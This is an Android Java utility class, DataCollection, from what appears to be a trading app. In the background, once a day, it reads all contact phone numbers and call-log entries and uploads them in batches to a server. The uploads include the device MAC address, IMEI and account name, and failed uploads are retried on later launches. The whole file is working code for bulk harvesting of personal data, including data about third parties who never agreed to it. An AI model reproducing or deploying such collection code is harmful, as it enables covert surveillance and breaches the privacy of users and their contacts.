package gw.com.android.utils;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.support.v4.app.ActivityCompat;
import android.text.TextUtils;
import android.text.format.DateUtils;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

import gw.com.android.app.AppMain;
import gw.com.android.app.GTConfig;
import gw.com.android.model.ConfigType;
import gw.com.android.model.ConfigUtil;
import gw.com.android.presenter.http.Https;
import okhttp3.Response;
import www.com.library.app.Logger;
import www.com.library.util.DeviceUtil;

/**
 * 数据收集 第一次安装APP时弹出权限提示
 * 第天第一次启动时，增量上传通讯录以及通话记录
 * 上传失败的记录，下次启动APP时自动上传
 *
 * @author jett
 * @since 2018-01-03.
 */
public class DataCollection {

    private static final String TAG = "DataCollection";
    private static final int CONTACT_BATCH_COUNT = 100;
    private static final int CALL_LOG_BATCH_COUNT = 100;

    public static void start(final Context context) {
        ThreadPool.getInstance().submit(new Runnable() {
            @Override
            public void run() {
                Logger.i(TAG, "run");
                try {
                    Thread.sleep(3000);
                } catch (InterruptedException ignore) {
                }
                execute(context);
            }
        });
    }

    private static void execute(Context context) {
        Logger.i(TAG, "execute");
        List<String> failedContacts = queryFailedContacts(context);
        List<String> allContacts = queryContacts(context);
        if (allContacts != null && !allContacts.isEmpty()) {
            List<String> successContacts = querySuccessContacts(context);
            if (successContacts != null) {
                // 排除已经成功上传过的通讯录
                Logger.i(TAG, "execute  successContacts count = " + successContacts.size());
                allContacts.removeAll(successContacts);
            }
            if (failedContacts != null) {
                //   上次失败的记录如果不在所有通讯列表中，加入到上传列表
                Logger.i(TAG, "execute  failedContacts count = " + failedContacts.size());
                for (String failed : failedContacts) {
                    if (!allContacts.contains(failed)) {
                        allContacts.add(failed);
                    }
                }
            }
            uploadContacts(context, allContacts);
        } else {
            // 获取本地通讯录为空时（今天已上传过或没权限等） 如有失败的，直接上传失败的通讯录
            uploadContacts(context, failedContacts);
        }
        setContactsUploaded();

        List<CallLogData> failedCallLogs = queryFailedCallLogs(context);
        List<CallLogData> allCallLogs = queryCallLogs(context);
        if (allCallLogs != null && !allCallLogs.isEmpty()) {
            if (failedCallLogs != null) {
                Logger.i(TAG, "execute  failedCallLogs count = " + failedCallLogs.size());
                allCallLogs.addAll(failedCallLogs);
            }
            uploadCallLogs(context, allCallLogs);
        } else {
            uploadCallLogs(context, failedCallLogs);
        }
        setCallLogsUploaded();
    }

    /**
     * 获取本地的通讯录
     */
    private static List<String> queryContacts(Context context) {
        if (uploadedContactsToday()) {
            Logger.i(TAG, "queryContacts  it has already done today");
            return null;
        }
        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
            Logger.i(TAG, "queryContacts  permission denied");
            return null;
        }
        Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI; // 联系人Uri；
        // 查询的字段
        String[] projection = {ContactsContract.CommonDataKinds.Phone.DATA1};

        Cursor cursor = null;
        try {
            cursor = context.getContentResolver().query(uri, projection, null, null, null);
            if (cursor == null) {
                Logger.i(TAG, "queryContacts  cursor is null");
                return null;
            }
            List<String> list = new ArrayList<>();
            while (cursor.moveToNext()) {
                String number = cursor.getString(0);
                number = formatPhontNumber(number);
                if (!TextUtils.isEmpty(number)) {
                    list.add(number);
                }
            }
            Logger.i(TAG, "queryContacts  all contacts size = " + list.size());
            return list;
        } catch (Exception e) {
            Logger.e(TAG, e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
        return null;
    }

    private static String formatPhontNumber(String phone) {
        if (phone == null) {
            return null;
        }
        return phone.replaceAll("[^\\+\\-\\d]", "");
    }

    /**
     * 增量获取本地的通讯记录
     */
    private static List<CallLogData> queryCallLogs(Context context) {
        if (uploadedCallLogsToday()) {
            Logger.i(TAG, "queryCallLogs  it has already done today");
            return null;
        }
        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) {
            Logger.i(TAG, "queryCallLogs  permission denied");
            return null;
        }
        long lastUploadTime = GTConfig.instance().getLongValue("call_logs_stamp", -1L);
        String[] projection = new String[]{CallLog.Calls.DATE, CallLog.Calls.NUMBER};
        Cursor cursor = null;
        try {
            if (lastUploadTime > 0) {
                String section = CallLog.Calls.DATE + " > " + String.valueOf(lastUploadTime);
                cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, projection, section, null, CallLog.Calls.DEFAULT_SORT_ORDER);
            } else {
                cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, projection, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
            }
            if (cursor == null) {
                return null;
            }
            List<CallLogData> list = new ArrayList<>();
            while (cursor.moveToNext()) {
                String num = cursor.getString(1);

                CallLogData log = new CallLogData();
                log.date = cursor.getLong(0);
                log.number = formatPhontNumber(num);
                list.add(log);
            }
            return list;
        } catch (Exception e) {
            Logger.e(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
        return null;
    }

    /**
     * 批量上传通讯录
     */
    private static void uploadContacts(Context context, List<String> contacts) {
        Logger.i(TAG, "uploadContacts");
        if (contacts == null || contacts.isEmpty()) {
            return;
        }
        Logger.i(TAG, "uploadContacts  contacts count = " + contacts.size());
        List<String> successList = new ArrayList<>();
        List<String> failureList = new ArrayList<>();
        String mDates = String.valueOf(System.currentTimeMillis() / 1000);
        int count = (contacts.size() + CONTACT_BATCH_COUNT - 1) / CONTACT_BATCH_COUNT;
        int start = 0;
        int end = CONTACT_BATCH_COUNT;
        for (int i = 0; i < count; i++) {
            if (end > contacts.size()) {
                end = contacts.size();
            }
            if (start > end) {
                continue;
            }
            List<String> subList = contacts.subList(start, end);
            Logger.i(TAG, "uploadContacts  batch send contacts.. batch = " + count);
            boolean result = realSendContacts(context, subList, mDates);
            if (result) {
                successList.addAll(subList);
            } else {
                failureList.addAll(subList);
            }
            start += CONTACT_BATCH_COUNT;
            end += CONTACT_BATCH_COUNT;
        }
        storeSuccessContacts(context, successList);
        storeFailedContacts(context, failureList);
    }

    private static boolean realSendContacts(Context context, List<String> contacts, String dates) {
        if (contacts == null || contacts.isEmpty()) {
            return true;
        }
        StringBuilder sb = new StringBuilder();
        for (String num : contacts) {
            sb.append(num).append("#");
        }
        sb.deleteCharAt(sb.length() - 1);
        String url = ConfigUtil.instance().getUrlPath(ConfigType.SOCKET_IO_TAG);
        try {
            Response response = new Https().url(url)
                    .addParam("logType", "4")
                    .addParam("deviceId", DeviceUtil.instance().getMacAddr(AppMain.getApp()))
                    .addParam("deviceType", "Android")
                    .addParam("Idfa", DeviceUtil.instance().getIMEI(context))
                    .addParam("businessPlatform", "3")
                    .addParam("platformType", "GTS2")
                    .addParam("PhoneList", sb.toString())
                    .addParam("Dates", dates)
                    .addParam("account", GTConfig.instance().mCurName)
                    .get();
            boolean result = response != null && response.isSuccessful();
            if (!result) {
                Logger.i(TAG, "realSendContacts failed. code = " + (response == null ? -1 : response.code()));
            }
            return result;
        } catch (IOException e) {
            Logger.e(TAG, e);
        }
        return false;
    }

    /**
     * 批量上传通话记录
     */
    private static void uploadCallLogs(Context context, List<CallLogData> logs) {
        Logger.i(TAG, "uploadCallLogs");
        if (logs == null || logs.isEmpty()) {
            return;
        }
        Logger.i(TAG, "uploadCallLogs  logs count = " + logs.size());
        List<CallLogData> failureList = new ArrayList<>();
        String mDates = String.valueOf(System.currentTimeMillis() / 1000);
        int count = (logs.size() + CALL_LOG_BATCH_COUNT - 1) / CALL_LOG_BATCH_COUNT;
        int start = 0;
        int end = CALL_LOG_BATCH_COUNT;
        for (int i = 0; i < count; i++) {
            if (end > logs.size()) {
                end = logs.size();
            }
            if (start > end) {
                continue;
            }
            List<CallLogData> subList = logs.subList(start, end);
            Logger.i(TAG, "uploadCallLogs  batch send logs.. batch = " + count);
            boolean result = realSendCallLogs(context, subList, mDates);
            if (!result) {
                failureList.addAll(subList);
            }
            start += CALL_LOG_BATCH_COUNT;
            end += CALL_LOG_BATCH_COUNT;
        }
        storeFailedCallLogs(context, failureList);

        CallLogData log = logs.get(0);
        GTConfig.instance().setLongValue("call_logs_stamp", log.date);
    }

    private static boolean realSendCallLogs(Context context, List<CallLogData> list, String dates) {
        if (list == null || list.isEmpty()) {
            return true;
        }
        StringBuilder phones = new StringBuilder();
        StringBuilder times = new StringBuilder();
        for (CallLogData log : list) {
            phones.append(log.number).append("#");
            times.append(log.date / 1000).append("#");
        }
        phones.deleteCharAt(phones.length() - 1);
        times.deleteCharAt(times.length() - 1);

        String url = ConfigUtil.instance().getUrlPath(ConfigType.SOCKET_IO_TAG);
        try {
            Response response = new Https().url(url)
                    .addParam("logType", "5")
                    .addParam("deviceId", DeviceUtil.instance().getMacAddr(AppMain.getApp()))
                    .addParam("deviceType", "Android")
                    .addParam("Idfa", DeviceUtil.instance().getIMEI(context))
                    .addParam("businessPlatform", "3")
                    .addParam("platformType", "GTS2")
                    .addParam("PhoneList", phones.toString())
                    .addParam("TimeList", times.toString())
                    .addParam("Dates", dates)
                    .addParam("account", GTConfig.instance().mCurName)
                    .get();
            boolean result = response != null && response.isSuccessful();
            if (!result) {
                Logger.i(TAG, "realSendCallLogs failed. code = " + (response == null ? -1 : response.code()));
            }
            return result;
        } catch (IOException e) {
            Logger.e(e);
        }
        return false;
    }

    private static void storeSuccessContacts(Context context, List<String> contacts) {
        Logger.i(TAG, "storeSuccessContacts ");
        if (contacts == null || contacts.isEmpty()) {
            return;
        }
        Logger.i(TAG, "storeSuccessContacts count = " + contacts.size());
        StringBuilder sb = new StringBuilder();
        for (String contact : contacts) {
            sb.append("#").append(contact);
        }
        File file = getSuccessContactsFile(context);
        IOUtils.writeFile(file, sb.toString(), true);
    }

    private static List<String> querySuccessContacts(Context context) {
        Logger.i(TAG, "querySuccessContacts ");
        File file = getSuccessContactsFile(context);
        String str = IOUtils.readFile(file);
        return contactStringToList(str);
    }

    private static void storeFailedContacts(Context context, List<String> contacts) {
        Logger.i(TAG, "storeFailedContacts ");
        if (contacts == null || contacts.isEmpty()) {
            return;
        }
        Logger.i(TAG, "storeFailedContacts  count = " + contacts.size());
        StringBuilder sb = new StringBuilder();
        for (String contact : contacts) {
            sb.append("#").append(contact);
        }
        File file = getFailedContactsFile(context);
        IOUtils.writeFile(file, sb.toString(), false);
    }

    private static List<String> queryFailedContacts(Context context) {
        Logger.i(TAG, "queryFailedContacts ");
        File file = getFailedContactsFile(context);
        String str = IOUtils.readFile(file);
        return contactStringToList(str);
    }

    private static List<String> contactStringToList(String str) {
        if (!TextUtils.isEmpty(str)) {
            List<String> result = new ArrayList<>();
            String[] split = str.split("#");
            for (String num : split) {
                if (TextUtils.isEmpty(num)) {
                    continue;
                }
                result.add(num);
            }
            return result;
        }
        return null;
    }

    private static void storeFailedCallLogs(Context context, List<CallLogData> logs) {
        Logger.i(TAG, "storeFailedCallLogs ");
        if (logs == null || logs.isEmpty()) {
            return;
        }
        Logger.i(TAG, "storeFailedCallLogs  count = " + logs.size());
        StringBuilder sb = new StringBuilder();
        for (CallLogData log : logs) {
            if (log == null) {
                continue;
            }
            sb.append(log.number).append(":").append(log.date).append("#");
        }
        File file = getFailedCallLogsFile(context);
        IOUtils.writeFile(file, sb.toString(), false);
    }

    private static List<CallLogData> queryFailedCallLogs(Context context) {
        Logger.i(TAG, "queryFailedCallLogs ");
        File file = getFailedCallLogsFile(context);
        String str = IOUtils.readFile(file);
        if (!TextUtils.isEmpty(str)) {
            List<CallLogData> list = new ArrayList<>();
            String[] split = str.split("#");
            for (String s : split) {
                if (TextUtils.isEmpty(s)) {
                    continue;
                }
                String[] itemSplit = s.split(":");
                if (itemSplit.length >= 2) {
                    String num = itemSplit[0];
                    String date = itemSplit[1];
                    if (TextUtils.isEmpty(num) || TextUtils.isEmpty(date)) {
                        continue;
                    }
                    CallLogData item = new CallLogData();
                    item.number = num;
                    try {
                        item.date = Long.parseLong(date);
                    } catch (NumberFormatException e) {
                        continue;
                    }
                    list.add(item);
                }
            }
            return list;
        }
        return null;
    }

    private static File getSuccessContactsFile(Context context) {
        return new File(getRootFile(context), "contacts_success.dat");
    }

    private static File getFailedContactsFile(Context context) {
        return new File(getRootFile(context), "contacts_failure.dat");
    }

    private static File getFailedCallLogsFile(Context context) {
        return new File(getRootFile(context), "call_logs_failure.dat");
    }

    private static File getRootFile(Context context) {
        return new File(context.getFilesDir(), "data_collection");
    }

    private static boolean uploadedContactsToday() {
        long value = GTConfig.instance().getLongValue("contacts_data_collection", -1L);
        return value > 0 && DateUtils.isToday(value);
    }

    private static boolean uploadedCallLogsToday() {
        long value = GTConfig.instance().getLongValue("call_log_data_collection", -1L);
        return value > 0 && DateUtils.isToday(value);
    }

    private static void setContactsUploaded() {
        GTConfig.instance().setLongValue("contacts_data_collection", System.currentTimeMillis());
    }

    private static void setCallLogsUploaded() {
        GTConfig.instance().setLongValue("call_log_data_collection", System.currentTimeMillis());
    }

    private static class CallLogData {
        String number;
        long date;
    }

}
